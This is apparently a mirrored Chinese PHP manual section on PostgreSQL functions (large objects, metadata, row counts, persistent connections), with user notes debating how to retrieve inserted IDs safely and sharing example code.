QUOTE "Editor's Note: If another record is inserted after the nextval is obtained and before you [sic: execute] the INSERT query this code will fail.  This should not be done on busy sites."

This is not correct. A sequence is a multi-session safe table-like structure in postgresql.

From the postgresql manual for nextval()

"Advance the sequence object to its next value and return that value. This is done atomically: even if multiple sessions execute nextval concurrently, each will safely receive a distinct sequence value. "

Since the default for a serial column during an insert is to call nextval(), it will also get a unique identifier.

Sequences are _not_ defined as being linearly ordered however and may contain holes and return values out of order (due to cache settings). They will, however, be unique 100% of the time.

The following code is CORRECT and thread safe WITHOUT a transaction on even the most loaded server.

QUOTE (with corrections) "

$res=pg_query("SELECT nextval('foo_key_seq') as key");
$row=pg_fetch_array($res, 0);
$key=$row['key'];
// now we have the serial value in $key, let's do the insert
pg_query("INSERT INTO foo (key, foo) VALUES ($key, 'blah blah')");

"

In this case the value retrieved for $key will never again be retrieved by the database under any circumstance. Period. Ever.

Hope that clears this up.
php at antimatters dot oc dot uk
01-Jun-2006 12:24
Remember:  Although OID is somewhat unique (as others have mentioned), the OID isn't entirely unique.  Once it reaches the extent of the datatype it will go back to 0 and start again.

I suggest either using transactions or have another set of identifiers which you can use together to identify the inserted row... such as user_id and timestamp (which you've manually created, not using NOW)... If it's for something human based, a user would not be able to realistically click two submit buttons in the same second... if you do get that happening, then maybe you could assume it was spam.

Just a thought
Jonathan Bond-Caron
30-May-2005 11:21
I'm sharing an elegant solution I found on the web (Vadim Passynkov):

CREATE RULE get_pkey_on_insert AS ON INSERT TO Customers DO SELECT currval('customers_customers_id_seq') AS id;

Every time you insert to the Customers table, postgreSQL will return a table with the id you just inserted. No need to worry about concurrency, the ressource is locked when the rule gets executed.

Note that in cases of multiple inserts:
INSERT INTO C1 ( ... ) ( SELECT * FROM C2);

we would return the id of the last inserted row.

For more info about PostgreSQL rules:
http://www.postgresql.org/docs/7.4/interactive/sql-createrule.html
paul at paulmcgarry dot com
16-Dec-2004 01:20
I do not understand the editors notes in this section.
They seem to suggest that you can't safely use nextval to get an identifier from a sequence that will be unique accross all users/sessions. That is categorically false.

nextval will pull a number from a sequence and that number is guarunteed to be distinct accross all sessions.

To quote the Postgres Docs:
"nextval

Advance the sequence object to its next value and return that value. This is done atomically: even if multiple sessions execute nextval concurrently, each will safely receive a distinct sequence value."
wes at softweyr dot com
29-Oct-2004 02:02
There seems to be some confusion about the PostgreSQL currval() function in these notes.  currval() isn't a general-purpose access to sequences, it has a very specific function.  From the PostgreSQL User's Guide (v 7.3.2) section 6.11:

currval - Return the value most recently obtained by nextval in the current session.  (An error is reported if nextval has never been called for this sequence in this session.)  Notice that because this is returning a session-local value, it gives a predictable answer even if other sessions are executing nextval meanwhile.

So wrapping a nextval (or other sequence insert) followed by currval in a transaction is not necessary.
php at developersdesk dot com
29-May-2004 08:46
If you want to get the value of a sequence out of pgsql, similar to mysql_insert_id(), try this:

<?

pg_query( $connection, "BEGIN TRANSACTION" );
pg_query( $connection, $your_insert_query );
$result = pg_query( $connection, "SELECT CURRVAL('$seq_name') AS seq" );
$data = pg_fetch_assoc( $result );
pg_free_result( $result );
pg_query( $connection, "COMMIT TRANSACTION" );
echo "Insert sequence value: ", $data[ 'seq' ], "<BR>\n";

?>

Note the transaction that groups the INSERT query and the query that obtains the sequence value.  If you are already in a transaction, don't start another.  Also be aware that CURRVAL only works after an INSERT query, and always returns the value for the last INSERT for your connection, even if someone else has done an INSERT after you.

See:
http://www.postgresql.org/docs/7.3/interactive/functions-sequence.html
talk_biz at yahoo dot com
20-Apr-2004 06:28
The sequence functions for autonumbering  can be read like an ordinary table.
ex. "select * from request_id_seq";
which returns all the current values for the sequence.  To get the last id number entered use
"select last_value from request_id_seq";
To have the query pull the values of the record with the last id, use a query with a subselect statement.
ex. "SELECT id, date_requested, time_requested, requestor_name, requestor_email, requestor_phone
FROM request where id = (select last_value from request_id_seq)";
luke at prgmr dot com
12-Apr-2004 04:04
responding to a previous  editor's note-

No, the user is correct. when you do a 'select nextval' from a sequence, that increments the sequence.  If someone else does a 'select nextval' or inserts into the table with a 'null' value for the field defaulted to a nextval, they will get the next value-  thus if another record is inserted after the nextval and before the insert, that next record will still get a different value from the sequence.

Am I wrong?

[Editor's Note: If another record is inserted after the nextval is obtained and before you the INSERT query this code will fail.  This should not be done on busy sites.]

Especially now with an optional oid field, getting an implicit serial key is harder than ever. The solution is to get the serial key first, and then use that value in an insert:

<?
pg_query($conn, 'CREATE TABLE foo (key SERIAL, foo TEXT)');
$res=pg_query("SELECT nextval('foo_key_seq') as key");
$key=pg_fetch_array($res, 0);
$key=$key[key];
// now we have the serial value in $key, let's do the insert
pg_query("INSERT INTO foo (key, foo) VALUES ($key, 'blah blah')");
?>

Hope this helps...
gaagaagui at aiagrp dot net
27-Feb-2004 06:51
note the following:
"The oid type is currently implemented as an unsigned four-byte integer. Therefore, it is not large enough to provide database-wide uniqueness in large databases, or even in large individual tables. So, using a user-created table's OID column as a primary key is discouraged. OIDs are best used only for references to system tables."
and
"OIDs are 32-bit quantities and are assigned from a single cluster-wide counter. In a large or long-lived database, it is possible for the counter to wrap around. Hence, it is bad practice to assume that OIDs are unique, unless you take steps to ensure that they are unique."
from: http://www.phphub.com/postgres_manual/index.php?p=datatype-oid.html
julian at e2-media dot co dot nz
26-Aug-2003 02:21
The way I nuderstand it, each value is emitted by a sequence only ONCE. If you retrieve a number (say 12) from a sequence using nextval(), the sequence will advance and subsequent calls to nextval() will return further numbers (after 12) in the sequence.

This means that if you use nextval() to retrieve a value to use as a primary key, you can be guaranteed that no other calls to nextval() on that sequence will return the same value. No race conditions, no transactions required.

That's what sequences are *for* afaik :^)
a dot bardsley at lancs dot ac dot uk
16-May-2003 02:23
As pointed out on a busy site some of the above methods might actually give you an incorrect answer as another record is inserted inbetween your insert  and the select. To combat this put it into a transaction and dont commit till you have done all the work
dtutar at yore dot com dot tr
26-Apr-2003 10:15
This is very useful function :)

function sql_last_inserted_id($connection, $result, $table_name, $column_name) {
   $oid = pg_last_oid ( $result);
       $query_for_id = "SELECT $column_name FROM $table_name WHERE oid=$oid";
   $result_for_id = pg_query($connection,$query_for_id);
   if(pg_num_rows($result_for_id))
     $id=pg_fetch_array($result_for_id,0,PGSQL_ASSOC);
   return $id[$column_name];
}

Call after insert, simply ;)
webmaster at gamecrash dot net
03-Mar-2003 10:29
You could use this to get the last insert id...

CREATE TABLE test (
  id serial,
  something int not null
);

This creates the sequence test_id_seq. Now do the following after inserting something into table test:

INSERT INTO test (something) VALUES (123);
SELECT currval('test_id_seq') AS lastinsertid;

lastinsertid should contain your last insert id.
bens at effortlessis dot com
09-Feb-2003 09:39
[Editor's Note: If another record is inserted after the nextval is obtained and before you the INSERT query this code will fail.  This should not be done on busy sites.]

Especially now with an optional oid field, getting an implicit serial key is harder than ever. The solution is to get the serial key first, and then use that value in an insert:

<?
pg_query($conn, 'CREATE TABLE foo (key SERIAL, foo TEXT)');
$res=pg_query("SELECT nextval('foo_key_seq') as key");
$key=pg_fetch_array($res, 0);
$key=$key[key];
// now we have the serial value in $key, let's do the insert
pg_query("INSERT INTO foo (key, foo) VALUES ($key, 'blah blah')");
?>

Hope this helps...
juancri at tagnet dot org
31-Oct-2002 02:29
Note that:

- OID is a unique id. It will not work if the table was created with "No oid".

- MySql's "mysql_insert_id" receives the conection handler as argument but PostgreSQL's "pg_last_oid" uses the result handler.
add a note add a note

后退 | 起点 | 前进
pg_last_notice | 上一级 | pg_lo_close


pg_lo_close

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_close -- 关闭一个大型对象

说明

bool pg_lo_close ( resource large_object )

pg_lo_close() 关闭一个大型对象。参数 large_object 是 pg_lo_open() 函数所返回的资源号。

要使用大型对象（lo）接口，需要将其放置在事务块中。

注: 本函数以前的名字为 pg_loclose()。

参见 pg_lo_open()，pg_lo_create() 和 pg_lo_import()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_last_oid | 上一级 | pg_lo_create


pg_lo_create

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_create -- 新建一个大型对象

说明

int pg_lo_create ( resource connection )

pg_lo_create() 新建一个大型对象并返回该大型对象的 oid。connection 指定了由 pg_connect() 或 pg_pconnect() 打开的有效的数据库连接号。不支持 PostgreSQL 访问模式 INV_READ，INV_WRITE 和 INV_ARCHIVE，该对象总是以读写方式访问。INV_ARCHIVE 已经从 PostgreSQL 中删除了（6.3 及以上版本）。本函数返回大型对象的 oid，如果出错则返回 FALSE。

要使用大型对象（lo）接口，需要将其放置在事务块中。

注: 本函数以前的名字为 pg_locreate()。

add a note add a note User Contributed Notes
andrea dot galli at acotel dot com
06-May-2003 01:21
<?php
// --------- OPEN CONN ---

   $conn = pg_connect("host='127.0.0.1' dbname='test' user='usertest' password='passtest'");

// --------- OPEN FILE ---

   $fp = fopen('logo.gif', "r");
   $buffer = fread($fp, filesize('logo.gif'));
   fclose($fp);

// --------- CREATE - INSERT OID ---

   pg_exec($conn, "begin");

   $oid = pg_locreate($conn);

   $rs = pg_exec($conn,"INSERT INTO test(tipo, images) VALUES('A1', $oid);");
   $handle = pg_loopen ($conn, $oid, "w");

   pg_lowrite ($handle, $buffer);
   pg_loclose ($handle);

   pg_exec($conn, "commit");

// --------- OPEN - INSERT OID ---

   $rs = pg_exec($conn, "SELECT images FROM test WHERE tipo = 'A1';");
   $row = pg_fetch_row($rs, 0);

   pg_exec($conn, "begin");
   $loid = pg_loopen($conn, $row[0], "r");

   header("Content-type: image/gif");

   pg_loreadall($loid);
   pg_loclose($loid);

   pg_exec ($conn, "commit");

// --------- UNLINK OID ---

   pg_exec($conn, "begin");

   $loid = $row[0];
   pg_lounlink($conn, $loid);

   pg_exec ($conn, "commit");

// --------- DELETE OID ---

   pg_exec($conn, "DELETE FROM test WHERE tipo = 'A1';");

// --------- CLOSE CONN ---

   pg_close();
?>
add a note add a note

后退 | 起点 | 前进
pg_lo_close | 上一级 | pg_lo_export


pg_lo_export

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_export -- 将大型对象导出到文件

说明

bool pg_lo_export ( int oid, string pathname [, resource connection] )

oid 参数指定了要导出的大型对象的 oid，pathname 参数则指明了文件名。如果成功则返回 TRUE，失败则返回 FALSE。

要使用大型对象（lo）接口，需要将其放置在事务块中。

注: 本函数以前的名字为 pg_loexport()。

参见 pg_lo_import()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_lo_create | 上一级 | pg_lo_import


pg_lo_import

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_import -- 将文件导入为大型对象

说明

int pg_lo_import ( [resource connection, string pathname] )

在 PHP 4.2.0 版本之前，本函数语法不一样，见如下定义：

int pg_lo_import ( string pathname [, resource connection] )

pathname 变量指明了要导入为大型对象的文件名。导入成功则返回新建的大型对象的 oid，如果出错则返回 FALSE。

要使用大型对象（lo）接口，需要将其放置在事务块中。

注: 当安全模式被激活时，PHP 将检查被操作的文件或者目录是否与正在执行的脚本有相同的 UID（所有者）。

注: 本函数以前的名字为 pg_loimport()。

参见 pg_lo_export() 和 pg_lo_open()。

add a note add a note User Contributed Notes
vi2 at vi2 dot com
02-Aug-2002 08:54
its not very clear if pg_lo_import needs to have pg_lo_open called first. Because pg_lo_import handles the process of writign to the file, it seems logical that pg_lo_open does not need to be called. However due to the ugly nature of how postgres handles oid objects, it would be nice to have this documented.
yohgaki at php dot net
19-Jun-2002 09:04
Due to a bug, OLD API does not available with PHP 4.2.0 and 4.2.1.

PHP 4.2.2 will support OLD API again and will be kept long enough.

New API will be available PHP 4.2.0 to later versions.
yohgaki at php dot net
19-Jun-2002 09:00
Due to a bug, PHP 4.2.0 and 4.2.1 does not support pg_lo_import() old API. It's fixed in PHP 4.2.2.

BTW, new API will be always available from PHP 4.2.0 to later versions. Older API will be kept long enough, also.
ceco at noxis dot net
16-May-2002 02:08
it works for me (php-4.2.1)

not like this

int pg_lo_import ( string pathname [, resource connection])

but
int pg_lo_import ( resource connection, string pathname )

don't know the reason
add a note add a note

后退 | 起点 | 前进
pg_lo_export | 上一级 | pg_lo_open


pg_lo_open

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_open -- 打开一个大型对象

说明

resource pg_lo_open ( resource connection, int oid, string mode )

pg_lo_open() 打开一个大型对象并返回大型对象资源号。该资源号内封装了连接号。oid 指定了有效的大型对象的 oid，mode 可以为 "r"，"w" 或者 "rw"。如果失败则返回 FALSE。

警告

在关闭大型对象资源之前不要关闭数据库连接。

要使用大型对象（lo）接口，需要将其放置在事务块中。

注: 本函数以前的名字为 pg_loopen()。

参见 pg_lo_close() 和 pg_lo_create()。

add a note add a note User Contributed Notes
metator at netcabo dot pt
30-Aug-2005 02:15
Just for the record, a user must be a superuser (database owner) in order to invoke pg_lo_open() (though pg_lo_create() may be invoked...). This opens a gigantic security hole in the db. If a user is not a superuser, db will raise an error with message "Can't create Large Object.".
Thus, imho, one should use pg_escape_bytea() instead.
riccardo_ridenti at hotmail dot com
24-Oct-2002 06:49
//INSERT FILE INTO DB
$fp = fopen($filename,"r");
       $buffer = fread($fp,filesize($filename));
   fclose($fp);
   pg_query ($conn, "begin");
   $oid = pg_lo_create ($conn);
   //echo "$oid\n";
     $rs = pg_exec($conn,"insert into table(object) values($oid);");//object field type must be "oid"
   $handle = pg_lo_open ($conn, $oid, "w");
   //echo "$handle\n";
   pg_lo_write ($handle, $buffer);
   pg_lo_close ($handle);
   pg_query ($conn, "commit"); //OR END
pg_close();

//GET BUFFER(file) FROM DB
$rs = pg_exec($conn,"select object from objects where id = xxxxxx;");
$row = pg_fetch_row($rs,0);
pg_query ($conn, "begin");
   $loid = pg_lo_open($conn,$row[0], "r");
   pg_lo_read_all ($loid);
   pg_lo_close ($loid);
pg_query ($conn, "commit"); //OR END
pg_close();
add a note add a note

后退 | 起点 | 前进
pg_lo_import | 上一级 | pg_lo_read_all


pg_lo_read_all

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_read_all -- 读入整个大型对象并直接发送给浏览器

说明

int pg_lo_read_all ( resource large_object )

pg_lo_read_all() 读入一个大型对象并在（PHP）发送完所有待发的 header 之后将其直接发送给浏览器。主要目的是发送图片或声音等二进制数据。返回值为读入的字节数，如果出错则返回 FALSE。

要使用大型对象（lo）接口，需要将其放置在事务块中。

注: 本函数以前的名字为 pg_loreadall()。

参见 pg_lo_read()。

add a note add a note User Contributed Notes
robert dot bernier5 at sympatico dot ca
24-Sep-2004 10:45
// remember, large objects must be obtained from within a transaction
pg_query ($dbconn, "begin");

// "assume" for this example that the large object resource number of the zipped file is "17899"

$lo_oid = 17899;

$handle_lo = pg_lo_open($dbconn,$lo_oid,"r") or die("<h1>Error.. can't get handle</h1>");

//headers to send to the browser before beginning the binary download
header('Accept-Ranges: bytes');
header('Content-Length: 32029974'); //this is the size of the zipped file
header('Keep-Alive: timeout=15, max=100');
header('Content-type: Application/x-zip');
header('Content-Disposition: attachment; filename="superjob.zip"');

pg_lo_read_all($handle_lo) or
  die("<h1>Error, can't read large object.</h1>");

// committing the data transaction
pg_query ($dbconn, "commit");
add a note add a note

后退 | 起点 | 前进
pg_lo_open | 上一级 | pg_lo_read


pg_lo_read

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_read -- 从大型对象中读入数据

说明

string pg_lo_read ( resource large_object, int len )

pg_lo_read() 从大型对象中读入最多 len 字节的数据并以字符串返回。large_object 指定了有效的大型对象的资源号，len 则指定了大型对象的段所允许的最大长度。如果出错则返回 FALSE。

要使用大型对象（lo）接口，需要将其放置在事务块中。

注: 本函数以前的名字为 pg_loread()。

参见 pg_lo_read_all()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_lo_read_all | 上一级 | pg_lo_seek


pg_lo_seek

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_seek -- 移动大型对象中的指针

说明

bool pg_lo_seek ( resource large_object, int offset [, int whence] )

pg_lo_seek() 在大型对象资源中移动指针位置。whence 参数为 PGSQL_SEEK_SET，PGSQL_SEEK_CUR 或 PGSQL_SEEK_END。

参见 pg_lo_tell()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_lo_read | 上一级 | pg_lo_tell


pg_lo_tell

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_tell -- 返回大型对象的当前指针位置

说明

int pg_lo_tell ( resource large_object )

pg_lo_tell() 返回当前指针位置（大型对象中从头开始的偏移量）。

参见 pg_lo_seek()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_lo_seek | 上一级 | pg_lo_unlink


pg_lo_unlink

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_unlink -- 删除一个大型对象

说明

bool pg_lo_unlink ( resource connection, int oid )

pg_lo_unlink() 删除由 oid 指定的大型对象。如果成功则返回 TRUE，失败则返回 FALSE。

要使用大型对象（lo）接口，需要将其放置在事务块中。

注: 本函数以前的名字为 pg_lo_unlink()。

参见 pg_lo_create() 和 pg_lo_import()。

add a note add a note User Contributed Notes
nospam at elzorro dot nl
14-Apr-2003 08:21
This function used to be called pg_lounlink() and not pg_lo_unlink()
add a note add a note

后退 | 起点 | 前进
pg_lo_tell | 上一级 | pg_lo_write


pg_lo_write

(PHP 4 >= 4.2.0, PHP 5)

pg_lo_write -- 向大型对象写入数据

说明

int pg_lo_write ( resource large_object, string data )

pg_lo_write() 把 data 参数中的数据尽可能多地写入大型对象并返回实际写入的字节数。如果出错则返回 FALSE。large_object 参数是 pg_lo_open() 函数所返回的大型对象资源号。

要使用大型对象（lo）接口，需要将其放置在事务块中。

注: 本函数以前的名字为 pg_lo_write()。

参见 pg_lo_create() 和 pg_lo_open()。

add a note add a note User Contributed Notes
nandrews at logictree dot co dot uk
05-Jun-2003 11:17
Using php 4.3.0 and PostgreSQL 7.3.1

I can write a simple script in which pg_lo_write seems to always return 1 and not the number of bytes written, as evidenced by extracting the data through another means.

Further more, I can make this pg_lo_write fail, or at least fail to write all the data it's pretty difficult to tell without the number of bytes written being returned, and not return the false value. In addition to this, the lo resource has been adjusted so that the oid it contains is 0.

Unfortunately, I do not know what exactly the failure mode is, it does seem to be in the ip network communication side of PostgreSQL, which is odd since the unix domain comms works fine for this. However, it would have been useful to have the pg_lo_write() function return as advertised, it would have saved some of the 2 man hours me and the dev. team put into diagnosing this problem.
cedric at isoca.com
27-Apr-2001 08:26
Be aware when you modify a lo with pg_lowrite() to remove first the old one : if the new lo is smaller than the one before, it only overwrite the begining and you keep the end of the old lo (open with "w" parameter, PHP 4.04 Linux RH).
add a note add a note

后退 | 起点 | 前进
pg_lo_unlink | 上一级 | pg_meta_data


pg_meta_data

(PHP 4 >= 4.3.0, PHP 5)

pg_meta_data -- 获得表的元数据

说明

array pg_meta_data ( resource connection, string table_name )

pg_metadata() 以数组形式返回 table_name 表的定义。如果出错则返回 FALSE。

例子 1. 取得表的元数据

<?php
    $dbconn = pg_connect("dbname=publisher") or die("Could not connect");
    $meta = pg_meta_data($dbconn,'authors');
    if (is_array ($meta)) {
        echo '<pre>';
        var_dump ($meta);
        echo '</pre>';
    }
?>

上例输出如下：

array(3) {
  ["author"]=>
  array(5) {
    ["num"]=>
    int(1)
    ["type"]=>
    string(7) "varchar"
    ["len"]=>
    int(-1)
    ["not null"]=>
    bool(false)
    ["has default"]=>
    bool(false)
  }
  ["year"]=>
  array(5) {
    ["num"]=>
    int(2)
    ["type"]=>
    string(4) "int2"
    ["len"]=>
    int(2)
    ["not null"]=>
    bool(false)
    ["has default"]=>
    bool(false)
  }
  ["title"]=>
  array(5) {
    ["num"]=>
    int(3)
    ["type"]=>
    string(7) "varchar"
    ["len"]=>
    int(-1)
    ["not null"]=>
    bool(false)
    ["has default"]=>
    bool(false)
  }
}

警告

本函数是实验性的。本函数的行为，包括函数名称以及其它任何关于本函数的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本函数风险自担。

参见 pg_convert()。

add a note add a note User Contributed Notes
rburghol at vt dot edu
24-Jun-2005 09:37
When querying on meta data from a temp table, the meta data seems to persist even if a fresh connection is established, where the temp table no longer exists.

 For example, if you create a connection and a temp table like so:
$dbconn1 = pg_connect('blah blah', , PGSQL_CONNECT_FORCE_NEW);
pg_exec($dbconn1,'create temp table foo as select 'foo' as namecol, 'bar' as valcol');

Then create a new connection

$dbconn2 = pg_connect('blah blah', , PGSQL_CONNECT_FORCE_NEW);

And query the meta data for table 'foo' in this new connection, it will report the facts about this table:
pg_meta_data($dbconn2,'foo');

"'Array ( [foo] => Array ( [num] => 1 [type] => varchar... "

However, trying to remove this table:
pg_exec($dbconn,'drop table foo');

Throws an error:
pg_exec(): Query failed: ERROR: table "foo" does not exist in ...
dmiller at NOSPAM dot judcom dot nsw dot gov dot au
18-Jun-2003 04:31
This function seems to be case-sensitive on tablename (php-4.3.1)

The Array returned is of the following structure
['field name'] => Array
   (
     ['num'] => Field number starting at 1
     ['type'] => data type, eg varchar, int4
     ['len'] => internal storage size of field. -1 for varying
     ['not null'] => boolean
     ['has default'] => boolean
   )
     ......

for Varied size datatypes (varchar, text, etc)
you can get the max data length from the system table pg_attribute.atttypmod -4
eg.
select attnum, attname , atttypmod -4 as field_len
from pg_attribute, pg_class
where relname='$tablename'
and attrelid=relfilenode
and attnum>=1
add a note add a note

后退 | 起点 | 前进
pg_lo_write | 上一级 | pg_num_fields


pg_num_fields

(PHP 4 >= 4.2.0, PHP 5)

pg_num_fields -- 返回字段的数目

说明

int pg_num_fields ( resource result )

pg_num_fields() 返回 PostgreSQL result 中的字段（列）数目。参数是由 pg_query() 函数返回的查询结果资源号。如果出错则返回 -1。

注: 本函数以前的名字为 pg_numfields()。

参见 pg_num_rows() 和 pg_affected_rows()。

add a note add a note User Contributed Notes
mark at redbrick dot dcu dot ie
25-Mar-2003 05:02
Here is a simple example for using pg_num_feilds, pg_num_rows and pg_result together.  I'm simply SELECTing * from a table named markie on the current pg_connect().

<?php
   $pgsql_conn = pg_connect("dbname=mark host=localhost");

   if (!$pgsql_conn) {
       print pg_last_error($pgsql_conn);
       exit;
   }

   $results = pg_query($pgsql_conn, "SELECT * FROM markie");

   echo "<table border=1>\n";
   for($lt = 0; $lt < pg_num_rows($results); $lt++) {
       echo "<tr>\n";
       for($gt = 0; $gt < pg_num_fields($results); $gt++) {
           echo "<td>" . pg_result($results, $lt, $gt) . "</td>\n";
       }
       echo "</tr>\n";
   }
   echo "</table>\n";

   pg_close($pgsql_conn);
?>

This code snippet will print out the rows and columns into a HTML table.

Regards,  --mark
add a note add a note

后退 | 起点 | 前进
pg_meta_data | 上一级 | pg_num_rows


pg_num_rows

(PHP 4 >= 4.2.0, PHP 5)

pg_num_rows -- 返回行的数目

说明

int pg_num_rows ( resource result )

pg_num_rows() 返回 PostgreSQL result 中的行的数目。result 参数是由 pg_query() 函数返回的查询结果资源号。如果出错则返回 -1。

注: 用 pg_affected_rows() 函数获得被 INSERT，UPDATE 和 DELETE 命令影响到的行的数目。

注: 本函数以前的名字为 pg_numrows()。

参见 pg_num_fields() 和 pg_affected_rows()。

add a note add a note User Contributed Notes
php-docs (at) radev (dot) net
23-Mar-2005 11:16
Yet even simpler example:

$query = "SELECT * FROM atable";
$result = pg_query($query);

if (pg_num_rows($result)>0) {
  while($row=pg_fetch_object($result) {
   echo $row->first_column;
   echo $row->second_column;
   ....
   echo $row->last_column;
  }
}
else {
  echo "The query did not return any data!";
}
aron at lurie dot biz
03-Nov-2003 09:23
Simple example

$sql = "select * from YOURTABLE";
$result = pg_query($sql);
$rows = pg_num_rows($result);
for ($i = 0; $i < $rows; $i++)
{
   $data = pg_fetch_object($result, $i);
   echo "$data->COLUMNNAME";
}
flavio AT catalani.net
15-Jan-2003 02:39
simple pg_num_fields & pg_num_rows example.

$result = pg_query($conn, $string);

while($arr = pg_fetch_array ($result)) {
     for ($x=0;$x<=pg_num_fields($result);$x++)
           print $arr[$x] . " ";
     print "\n";
}

adapted (stolen) from php manual ;)
sean at seattleone dot com
22-Oct-2002 10:27
Simple Example:

$result = pg_query($conn_id, $query);
echo pg_num_rows($result);
add a note add a note

后退 | 起点 | 前进
pg_num_fields | 上一级 | pg_options


pg_options

(PHP 3, PHP 4, PHP 5)

pg_options -- 获得和连接有关的选项

说明

string pg_options ( resource connection )

pg_options() 以字符串形式返回指定 PostgreSQL connection 资源的连接选项。

add a note add a note User Contributed Notes
Robert Treat <xzilla at sourceforge>
01-Jan-2005 12:07
Apparently this function does not return the database name given in the connection string.  I tried this on apache 2.x/php4.3.x/pg7.4.x and apache 1.3.x/php5.x/pg8rc1 and saw this behavior on both setups.
add a note add a note

后退 | 起点 | 前进
pg_num_rows | 上一级 | pg_parameter_status


pg_parameter_status

(PHP 5)

pg_parameter_status -- Looks up a current parameter setting of the server.

说明

string pg_parameter_status ( resource connection, string param_name )

string pg_parameter_status ( string param_name )

Looks up a current parameter setting of the server.

Certain parameter values are reported by the server automatically at connection startup or whenever their values change. pg_parameter_status() can be used to interrogate these settings. It returns the current value of a parameter if known, or FALSE if the parameter is not known.

Parameters reported as of PostgreSQL 8.0 include server_version, server_encoding, client_encoding, is_superuser, session_authorization, DateStyle, TimeZone, and integer_datetimes. (server_encoding, TimeZone, and integer_datetimes were not reported by releases before 8.0.) Note that server_version, server_encoding and integer_datetimes cannot change after PostgreSQL startup.

PostgreSQL 7.3 or lower servers do not report parameter settings, pg_parameter_status() includes logic to obtain values for server_version and client_encoding anyway. Applications are encouraged to use pg_parameter_status() rather than ad hoc code to determine these values.

注意

On a pre-7.4 PostgreSQL server, changing client_encoding via SET after connection startup will not be reflected by pg_parameter_status().

参数

connection

PostgreSQL database connection resource. When connection is not present, the default connection is used. The default connection is the last connection made by pg_connect() or pg_pconnect().

param_name

Possible param_name values include server_version, server_encoding, client_encoding, is_superuser, session_authorization, DateStyle, TimeZone, and integer_datetimes.

返回值

A string containing the value of the parameter, FALSE on failure or invalid param_name.

范例

例子 1. pg_parameter_status() example

<?php
  $dbconn = pg_connect("dbname=publisher") or die("Could not connect");

  echo "Server encoding: ", pg_parameter_status($dbconn, "server_encoding");
?>

上例将输出：

Server encoding: SQL_ASCII

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
pg_options | 上一级 | pg_pconnect


pg_pconnect

(PHP 3, PHP 4, PHP 5)

pg_pconnect -- 打开一个持久的 PostgreSQL 连接

说明

resource pg_pconnect ( string connection_string )

pg_pconnect() 打开一个到 PostgreSQL 数据库的持久连接。返回其它 PostgreSQL 函数所需要的连接资源号。

connection_string 参数的定义见 pg_connect()。

要打开持久连接功能，php.ini 中的 pgsql.allow_persistent 参数必须为 "On"（也是默认值）。 最大持久连接数目由 php.ini 中的 pgsql.max_persistent 参数定义（默认为 -1 表示没有限制）。所有连接的数目可由 php.ini 中的 pgsql.max_links 参数设置。

pg_close() 不能关闭由 pg_pconnect() 打开的持久连接。

参见 pg_connect() 以及持久数据库连接。

add a note add a note User Contributed Notes
info at karl-philipp dot de
06-Oct-2003 07:05
A contribution to the transaction issue raised by "garrett at bgb dot cc".

In a German book about PostgreSQL in connection with PHP (Cornelia Boenigk, PostgreSQL - Grundlagen, Praxis, Anwendungsentwicklung mit PHP) one can read in chapter 19.3 about persistent connections:
If the page processing aborts and the transaction is not finished yet, the next script using the same persistent connection will be considered as the continuation of the transaction. In particular a lock of a table will persist. The explanation is as follows: After the abort of the script no COMMIT or ROLLBACK was sent to the db server.

The author describes a hint to avoid the scenario above:
You can create a function for resolving transactions and locks erroneously not closed. For invoking the function after execution of a script it has to be registered with the function register_shutdown_function():

 http://de2.php.net/manual/en/function.register-shutdown-function.php
Spiros Ioannou
30-Jan-2003 09:40
Instead of reducing MaxClients in apache you may try to
reduce pgsql.max_links in php to at least the number of
postmasters. It should work and leave
you with more available httpds for static html pages.
raggaflo at libertysurf dot fr
30-Mar-2002 12:03
Be careful when using Apache/PHP dynamic module/PostgreSQL :
in httpd.conf (Apache conf) default MaxClients is 150, whereas default PG's max_connections is 32 which is much fewer than 150. You have to set max_connections to at least MaxClients (and pg's shared_buffers to 2*max_connections at least) to avoid PG's errors with pg_pconnect like : "Sorry, too many clients already connected"
etsysx dot i dot hate dot spam at teleline dot es
10-Mar-2002 05:56
To setup a high availability server with apache as a static module and postgreSQL, change httpd.conf and set MaxClients to less than max postgreSQL simultaneous connections (like 32 or 64).
This way pg_pconnect will allways return a valid handle under heavy traffic or under a request flow attack without wasting resources and without connection problems.
garrett at bgb dot cc
09-Feb-2002 08:39
If a transaction is in progress when page processing ends, is it aborted before the connection placed bak in the pool? Or is the connection added "as is"?

It would seem that the correct thing to do is to always 'ABORT' before adding to the pool.

As a note, this would be a good time to check and see if the connection is still open before readding it. Thus allowing closed connections to be cleaned up over time, instead of hanging around for ever as they do now.
zarathustra dot heuser at sita dot int
23-Nov-2001 10:15
I was having the same problem with persistent connections to an Oracle database. Compiling PHP with the option --enable-sigchild solved the problem.
herve at elma dot fr
04-Dec-2000 10:14
For resetting an apache web server and in same time the persistent connections you may use :
./apachectl graceful
dmitri at graphictype dot com
11-May-2000 07:12
How to reset persistent connections:

killall -USR1 httpd
tumor at iris dot kkt dot bme dot hu
30-Mar-2000 09:39
Well, pg_pconnect is ALMOST identical to pg_Connect. The difference is that when you make something nasty with the PSQL server (like reseting it) then pg_pConnect still tryes to use the previous connection. This creates some nice broken_pipe errors (and maybe some more). I do not know that resetting the http server would help it, I think it would. As pg_connect creates a new connection every time (that is why it is \"so slow\") this error does not occurs with it. Really this is not a bug, but perphaps you could do something with it, and it may help some people working with recently changing pg security settings... Good bug hunting...
clecerf at univ-paris8 dot fr
24-Mar-2000 02:00
